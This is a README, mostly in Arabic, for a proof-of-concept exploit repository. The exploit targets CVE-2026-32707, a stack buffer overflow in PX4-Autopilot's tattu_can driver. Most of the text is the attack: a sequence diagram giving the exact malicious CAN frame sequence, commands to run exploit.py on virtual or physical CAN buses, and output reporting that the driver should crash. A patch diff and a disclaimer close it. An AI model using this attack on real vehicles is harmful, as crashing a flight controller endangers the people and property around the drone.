
إثبات مفهوم لاستغلال CVE-2026-32707، وهو تجاوز سعة المخزن المؤقت للمكدس في برنامج تشغيل tattu_can الخاص بـ PX4-Autopilot، مما يتسبب في رفض الخدمة عبر إطارات CAN مصممة خصيصًا.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال ثغرة CVE‑2026‑32707، وهي تجاوز سعة مخزن مؤقت قائم على المكدس في برنامج تشغيل tattu_can الخاص ببرنامج التحكم في الطيران PX4‑Autopilot (الإصدارات ≤ 1.17.0‑rc1). تكمن الثغرة في روتين تجميع الرسائل متعددة الإطارات: عند إعادة تجميع بنية Tattu12SBatteryMessage على المكدس، يقوم برنامج التشغيل بعمليات memcpy() غير محدودة دون التحقق من الإزاحة التراكمية مقابل حجم المخزن المؤقت (48 بايت). يمكن للمهاجم القادر على حقن إطارات CAN في نفس الناقل أن يطلق العنان لتجاوز السعة، مما يتسبب في تلف المكدس وانهيار لاحق (رفض الخدمة) لعملية PX4.
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-transfer received
PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
loop Overflow frames (7x)
Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Final overflow frame (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK OVERFLOW
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Servicetattu_can3f04b7a)python-canCAP_NET_RAW) لإرسال إطارات CAN الخامcan0 أو افتراضية vcan0)# استنساخ المستودع
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# تثبيت python-can
pip3 install python-can
# (اختياري) إنشاء واجهة CAN افتراضية للاختبار
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# الاستغلال عبر واجهة CAN الافتراضية (للمحاكاة/الاختبار)
sudo python3 exploit.py vcan0
# الاستغلال عبر ناقل CAN فيزيائي
sudo python3 exploit.py can0
0x80، مما يشير إلى برنامج التشغيل لبدء تجميع رسالة Tattu12SBatteryMessage جديدة ونسخ أول 5 بايتات في المخزن المؤقت للمكدس.memcpy() الذي يكتب بعد حدود المخزن المؤقت، مما يؤدي إلى إتلاف إطار المكدس.[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can إذا لم يكن مطلوبًا (tattu_can stop أو إزالته من البناء).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aيتم توفير إثبات المفهوم هذا لأغراض تعليمية واختبار الأمان فقط. استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا الكود.